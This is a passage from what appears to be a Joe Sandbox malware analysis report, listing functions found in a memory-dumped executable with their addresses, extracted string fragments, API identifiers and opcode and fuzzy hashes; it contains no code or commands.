Instruction Fuzzy Hash: A191EEB05083C18BD335CF25D8A0BEBBBE0AB96314F148D6DD4DD9B282D738454ACB96

Function 0040C36E Relevance: 6.5, Strings: 5, Instructions: 203COMMON

Download Yara Rule

Strings

F'k), xrefs: 0040C706
){+}, xrefs: 0040C788
CJ, xrefs: 0040C67E
4cde, xrefs: 0040C79C
GS, xrefs: 0040C677

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: ){+}$4cde$CJ$F'k)$GS
API String ID: 0-4192230409
Opcode ID: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction ID: 6afdb2316fdadaf12e32bd698f1912d34734f08b0bc4a82971b76fff6b28e520
Opcode Fuzzy Hash: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction Fuzzy Hash: 50B11BB84053058FE354DF629688FAA7BB0FB25310F1A82E9E0992F776D7748405CF96

Function 00426170 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

cba`, xrefs: 004261C1
8zVc, xrefs: 0042627D
4zVc, xrefs: 0042621C
YNMZ, xrefs: 00426446

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: InitializeThunk
String ID: 4zVc$8zVc$YNMZ$cba`
API String ID: 2994545307-1799417857
Opcode ID: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction ID: a4538a0261ff6c2ac210d57fc6ac5424e6a326b8b8d8802f404cc31a7d59ec03
Opcode Fuzzy Hash: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction Fuzzy Hash: 189147B2F042208BD724DA25EC8172B7292EBD1314F5A857EEC8597342E678AC00C7DA

Function 00415ADC Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

1/3T, xrefs: 0041611F
WL, xrefs: 00415C75
^Q, xrefs: 00415C83

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: 1/3T$WL$^Q
API String ID: 0-4254228366
Opcode ID: ba18f0a771fe5c943f6b46e4d9dfc1ae68c5ab374dcf48f97578f812035a9b14
Instruction ID: 36620dcd79f832a97b090e2ed89ea61b800e286945c25bf48684ec17d430fe28
Opcode Fuzzy Hash: ba18f0a771fe5c943f6b46e4d9dfc1ae68c5ab374dcf48f97578f812035a9b14
Instruction Fuzzy Hash: A9D1CEB4100B01CFD7258F25C8A1BA3BBB1FF86314F19858DC8964F7A2D779A855CB94

Function 00420717 Relevance: 3.4, Strings: 2, Instructions: 854COMMON

Download Yara Rule

Strings

B:@<, xrefs: 00420D02
F>?0, xrefs: 00420D09

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: B:@<$F>?0
API String ID: 0-4011826714
Opcode ID: db013f8bcd791390b44068821e0592b044049136823266e2a0b8e4940e29ff84
Instruction ID: 92ed06d7aa227fc4673e4b6d33fedd1ff2714f2f2b1d0eb8acbab6dee258af69
Opcode Fuzzy Hash: db013f8bcd791390b44068821e0592b044049136823266e2a0b8e4940e29ff84
Instruction Fuzzy Hash: E43256B1A00721CBCB24CF24C892267BBB1FF92310F59825DD8825F796E779A851CBD5

Function 0042C6D7 Relevance: 3.1, Strings: 2, Instructions: 614COMMON

Download Yara Rule

Strings

iJ, xrefs: 0042CAF5
', xrefs: 0042CC09

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: '$iJ
API String ID: 0-30662343
Opcode ID: 5f8335f824c18f5e14225d200a316fb8f8740858805ddfb73ef0b7ad87012508
Instruction ID: e8033de2897f6a471e39d6e72682695b514e130b01bc458e21cc2d5cc8d806b0
Opcode Fuzzy Hash: 5f8335f824c18f5e14225d200a316fb8f8740858805ddfb73ef0b7ad87012508
Instruction Fuzzy Hash: 7C02F57060C3E18FD7298F2990A03ABBFE1AF97304F58496ED4D997342D77984058B97

Function 00422270 Relevance: 3.0, Strings: 2, Instructions: 501COMMON

Download Yara Rule

Strings

c!", xrefs: 0042242F
TU, xrefs: 00422296

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: TU$c!"
API String ID: 0-3813282519
Opcode ID: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction ID: a4d5b8c078bf2433dc24120fb7555f1f32600d90c3be649242fb2c546733d6d2
Opcode Fuzzy Hash: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction Fuzzy Hash: 27C16672B04310ABD714DB29ED5277BB3E2EFD5314F48852EE88587381E6BCE801875A

Function 0041D074 Relevance: 2.7, Strings: 2, Instructions: 211COMMON

Download Yara Rule

Strings

pr, xrefs: 0041D112
|~, xrefs: 0041D10A

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction ID: 1c71e515e24bd4364ede3925d09e369eeeaf8989eca5e2d791649c7508655d54
Opcode Fuzzy Hash: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction Fuzzy Hash: E451F0B0A0C3509BD7008F24D8127ABB7F1EF92319F1885AEE4C55B391E7399642CB5E

Function 0041D087 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

pr, xrefs: 0041D112
|~, xrefs: 0041D10A

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction ID: b30244ed6a2ff3de417c81c30de102dda9fa652a451c4e072b4a3ececf8c80cf
Opcode Fuzzy Hash: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction Fuzzy Hash: B751F4B460C3509BD7009F24C8126ABB7F1EF92315F1885ADE4C55B391E739D642CB5E

Function 0042536C Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

X, xrefs: 0042556A
BLJB, xrefs: 00425554

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: BLJB$X
API String ID: 0-2222927247
Opcode ID: 85d985c10c38fb94c5f45cecc72a4b56871a758ab7e71e90a7e49e993c96917b
Instruction ID: 1af2eb929763e148cb4abff1c4585c52a2657f08fe5d59f4d12d45bf37d2de30
Opcode Fuzzy Hash: 85d985c10c38fb94c5f45cecc72a4b56871a758ab7e71e90a7e49e993c96917b
Instruction Fuzzy Hash: 13515531708B618BD730DE6894412FBBBE1DF55350F984A3ED8D987382E23CA545E74A

Function 00427653 Relevance: 2.6, Strings: 2, Instructions: 86COMMON

Download Yara Rule

Strings

H.s , xrefs: 004276E0
ij, xrefs: 004276D3

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: H.s $ij
API String ID: 0-4017226643
Opcode ID: 2cb1b7f925fbc6c9f7264a4edce0ffabfea3ec399ad5ab8651c95cdd20c1a345
Instruction ID: ae217f9daa6f4cce8b7d259f4259de876ba9e86de0ba8af5ed87a71d833a3b47
Opcode Fuzzy Hash: 2cb1b7f925fbc6c9f7264a4edce0ffabfea3ec399ad5ab8651c95cdd20c1a345
Instruction Fuzzy Hash: 0F31DEB260D3908FD314CF65D48165FBBE2EBC6704F55892DE4C56B340CBB49906CB46

Function 00415EE0 Relevance: 1.9, Strings: 1, Instructions: 625COMMON

Download Yara Rule

Strings

1/3T, xrefs: 0041611F

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: InitializeThunk
String ID: 1/3T
API String ID: 2994545307-3266294232
Opcode ID: db788342ad88ef6c488a899aa4db307fe01876e7341283b38dbf2834c16ac000
Instruction ID: ff65059a960126ae2aa6a0ba82ae0d71c7a8e5e6bd522a8814a62b27b48fd42c
Opcode Fuzzy Hash: db788342ad88ef6c488a899aa4db307fe01876e7341283b38dbf2834c16ac000
Instruction Fuzzy Hash: 37F1E134204741CFE7258F29D891BB3BBA2FB5A301F1945ADD5D68B392C739E881CB58

Function 00414F08 Relevance: 1.9, Strings: 1, Instructions: 609COMMON

Download Yara Rule

Strings

cba`, xrefs: 00415565

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: cba`
API String ID: 0-1926275841
Opcode ID: ac233faae9877bc3ddc3a70347ef5b8a5b0ef2ad5a4fd7cdd570c427d15c7cae
Instruction ID: b0755fcd4efdf1967727a5f4be91126eb1e252dcdfc562f5600afc0ab194aa5f
Opcode Fuzzy Hash: ac233faae9877bc3ddc3a70347ef5b8a5b0ef2ad5a4fd7cdd570c427d15c7cae
Instruction Fuzzy Hash: 9402FE34608300EFD7149F24D962BABB7B1FB9A304F94582DF481972A2D775EC45CB8A

Function 0042BFDA Relevance: 1.7, Strings: 1, Instructions: 461COMMON

Download Yara Rule

Strings

x, xrefs: 0042C2F2

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: 212c4427347d00bc0ab6c4fd254bb844e7ef8bf1701165750c227f18fd5959f2
Instruction ID: f24e0535182122329204161442b6cb3576d9d8656e0dc52521a12abdc108ad65
Opcode Fuzzy Hash: 212c4427347d00bc0ab6c4fd254bb844e7ef8bf1701165750c227f18fd5959f2
Instruction Fuzzy Hash: EFD1B46060C3E08ED7358B2994903BFBBD1AFD7344F5849ADD0C99B282D779450ACB57

Function 0042BFD3 Relevance: 1.7, Strings: 1, Instructions: 456COMMON

Download Yara Rule

Strings

x, xrefs: 0042C2F2

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: dd7dd52a73c17c107c662ee8ca0c022aa0f15367076f24ecb02be622242e9914
Instruction ID: cbfe56490d4610b99627c39bd120223bdbde8b4c29662e55905f397c0fd00549
Opcode Fuzzy Hash: dd7dd52a73c17c107c662ee8ca0c022aa0f15367076f24ecb02be622242e9914
Instruction Fuzzy Hash: 1AD1176060C7E18ED7358B2894903BFBBD1AF97344F5849AED0D54B382D739940AC797

Function 0042A630 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

", xrefs: 0042A918

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 4abfa2479a0e4305d02d5d5ee4678300abeb872efe24ce69da09627c08f165b8
Instruction ID: f813c1fc85afd7223dda0e36a8c027de47e21e6ca96e88e37e758e8b14c45e64
Opcode Fuzzy Hash: 4abfa2479a0e4305d02d5d5ee4678300abeb872efe24ce69da09627c08f165b8
Instruction Fuzzy Hash: 03C113B2B043215BD7149E25E44076BB7E5AF84310F59892FEC9687382E738DC59C78B

Function 0043E690 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

@CDE, xrefs: 0043E8D1

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: InitializeThunk
String ID: @CDE
API String ID: 2994545307-1513065382
Opcode ID: cbdfbb28d977ac1ea6b7f73f0ada9322f454d3da5a8c62154e5dc83033fd8ee1
Instruction ID: 3c5ac0be7424b57116813a4f2293c38aabf5a2246835f37d4781b8179357b19c
Opcode Fuzzy Hash: cbdfbb28d977ac1ea6b7f73f0ada9322f454d3da5a8c62154e5dc83033fd8ee1
Instruction Fuzzy Hash: EFB146717493414BC318DB2AC8D1A3BBBE6ABE9314F1CD93DE58687392C638DC058796

Function 00417190 Relevance: 1.6, Strings: 1, Instructions: 375COMMON

Download Yara Rule

Strings

RuA, xrefs: 00417542

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: RuA
API String ID: 0-3286949753
Opcode ID: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction ID: 812d55878a62f6fab66defe66c88ae53172d99736bf38563795d352ae53827f1
Opcode Fuzzy Hash: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction Fuzzy Hash: 8CB10234208701CFE7258F29D851B73B7F2EB4A711F1489ADD4968B392D738A882CB58

Function 00421EE0 Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

x%, xrefs: 0042207D

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: x%
API String ID: 0-3980080454
Opcode ID: 21b534372c422996cba93c7f3a0046e52d28a6e1f65226b4000f06bfaeed42f9
Instruction ID: 53925fe815e81de9676dfe4c3668865c11de61aed011eb2c10e86570e61a59d5
Opcode Fuzzy Hash: 21b534372c422996cba93c7f3a0046e52d28a6e1f65226b4000f06bfaeed42f9
Instruction Fuzzy Hash: 7BA145B1604320ABCB10DF24DC91B6777E4FF94358F08492DEA858B391E7B9E905C766

Function 0042AAD0 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042ACCE

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 1b0d155936ea343f35509df964668f6b6c6c9246b28269455b7de3af52c0cfb1
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: D271E632B183254BD714CE28E58031BBBE3ABC5710F99856EE9949B391D238EC55C78B

Function 00417E82 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

tuv, xrefs: 00418856

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: tuv
API String ID: 0-2475268160
Opcode ID: 832319e91b6d4892eeb44864a439925f3f6d3c4679f0fc0c8248a51ed8917232
Instruction ID: 96cc1be5c7b42f4822ccf6fdabcc1d0a1cf8542e79077bfe6f2257edbdd6f4ef
Opcode Fuzzy Hash: 832319e91b6d4892eeb44864a439925f3f6d3c4679f0fc0c8248a51ed8917232
Instruction Fuzzy Hash: 2B6133B6604700CFC7208F24D8923A3B3F2FF96318F18456EE996477A1E739A945C759

Function 0042B4BB Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

CUUI, xrefs: 0042B588

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID:
String ID: CUUI
API String ID: 0-173970609
Opcode ID: 11d751ef2c6838004d4261e70f5839909a1e0ffe6a220f83fd188cfbbc9468dc
Instruction ID: 633f9cfe08b78efd1148aada0c0c4a0bea52aba14bf5254293374e99ea80dff2
Opcode Fuzzy Hash: 11d751ef2c6838004d4261e70f5839909a1e0ffe6a220f83fd188cfbbc9468dc
Instruction Fuzzy Hash: 9541E7A020C7E08ADB358F2594903ABBBE1DFD3304F5884ADC6C56B243C77988068B5A

Function 0043DBD0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 0043DC39

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: a54cd9664649f0a3eb3b986b2c8d66ddc9897b79c163bf161da4d5756e812fe2
Instruction ID: 1421818bc4f15c0d032df179158ed2797c8d4970c2420d5e39c05150b2e3af5d
Opcode Fuzzy Hash: a54cd9664649f0a3eb3b986b2c8d66ddc9897b79c163bf161da4d5756e812fe2
Instruction Fuzzy Hash: C33100B15183048BC314DF18E8C162BBBF8FB9A314F15A92DE68687391D3759908CB9A

Function 00425230 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

cba`, xrefs: 004252B6

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: InitializeThunk
String ID: cba`
API String ID: 2994545307-1926275841
Opcode ID: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
Instruction ID: beb69707a00ddb1e0f288a180930159145dfafadf277c1aff9f3426dfcb85bde
Opcode Fuzzy Hash: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
